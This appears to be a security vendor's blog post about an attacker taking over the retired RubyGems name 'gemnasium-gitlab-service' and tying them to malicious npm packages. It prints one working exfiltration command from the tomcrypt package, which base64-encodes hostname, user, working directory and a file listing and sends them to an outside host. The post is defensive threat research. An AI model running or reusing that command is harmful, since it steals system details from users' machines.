• Home
  • Blog
  • The Unseen Risks of Open Source Dependencies: The Case of an Abandoned Name

The Unseen Risks of Open Source Dependencies: The Case of an Abandoned Name

The Unseen Risks Of Open Source Dependencies
The Unseen Risks Of Open Source Dependencies

One often-overlooked risk in the bustling ecosystem of open-source software are vulnerabilities introduced through software dependencies. We mention this because today, a malicious actor took over a RubyGems package name with more than two million downloads. Mend.io technology detected the package before it could be used for an attack, but the case of ‘gemnasium-gitlab-service‘ serves as an important reminder of the risk of neglecting dependency management. 

For context, a gem in the Ruby world is essentially a library or a package of code that developers can incorporate into their projects. They serve as building blocks for applications, each providing a unique piece of functionality.

gemnasium-gitlab-service‘ was one such gem, originally developed by Gemnasium and taken over and maintained by GitLab when they acquired Gemnasium. However, GitLab decided to retire this gem a while ago and move away from its usage in the GitLab software. 

Figure 1. Last commit from Sep 2017

Normally, such a decision would not cause any significant issues. Developers relying on the gem would either stick with the last available version or migrate to an alternative over time.

However, in the case of ‘gemnasium-gitlab-service‘, our research team discovered an unidentified entity scanning registries and code sources for references to packages that had names available for takeover in various registries.

The threat actor noticed that this gem had been removed and took the opportunity to take over the gem’s name. This person or group then published a new gem under the ‘gemnasium-gitlab-service‘ title.

Figure 2. Last version that was yanked by GitLab owner
Figure 3. Latest version published by the new author

The risk

Existing projects that haven’t updated their dependencies might unwittingly pull in this new version, assuming it’s a continuation of the original. Given that the new gem is now controlled by an unknown entity, it could be altered to include malicious code or to perform undesirable actions.

Our investigation has further revealed that this is not an isolated incident. By correlating data with the npm registry (Node.js’s equivalent of the RubyGems system), we found other packages containing malicious code that were published by the same owner more than six months ago. One such package was the npm module tomcrypt, which was published in September 2022 and contained malicious code that exfiltrates sensitive user information.


curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://ccrrzme2vtc0000mdfh0ggccx4ryyyyyb.oast.fun

Figure 4. Malicious code from the npm package tomcrypt

The implications of this finding are far-reaching. It suggests a systematic approach to find retired or unused open-source package names, take them over, and potentially exploit them. This highlights the risks associated with open-source dependencies, and the importance of good practices around dependency management.

Addressing the risk

Best practices that developers can adopt to mitigate such risks include:

  • Regularly review and update dependencies. Keeping dependencies up to date ensures that you receive the latest security updates and features.
  • Audit your dependencies. Use tools that check for vulnerabilities in your dependencies. For Ruby, this could be bundler-audit or ruby-advisory-db. For npm, consider using npm audit.
  • Use a lock file. This guarantees that the exact versions of dependencies specified in the lock file are what gets installed, reducing the risk of unexpected updates or changes.

This case study underscores the need for diligence and vigilance in the open-source ecosystem. While open-source software offers many benefits, it also brings risks that must be managed carefully. It is up to every developer and organization to do their part to safeguard the security of the software they create and use.

Keep yourself protected

Here at Mend.io, we’re dedicated to helping you stay one step ahead of attackers who seek to use techniques like this to detrimentally affect your software and applications. Make sure you use an automated supply chain security solution like Mend SCA, with malicious package detection and blocking powered by Mend Supply Chain Defender. With automated alerts, you’ll find out right away when there’s any anomalous behavior or packages from open source registries.

Discover how to keep yourself protected

Meet The Author

Tom Abai

Tom Abai is a security researcher at Mend.io. He is passionate about finding and addressing security incidents in the software supply chain area. In his free time, he likes to play CTF's games and learn cool stuff regarding cybersecurity.

Tamir Ben Ari

Tamir Ben Ari is a malware researcher at Mend.io specializing in software supply chain. Previously, he held the role of security researcher at Mend.io, which included detailed vulnerability research in open source libraries.

Subscribe to Our Blog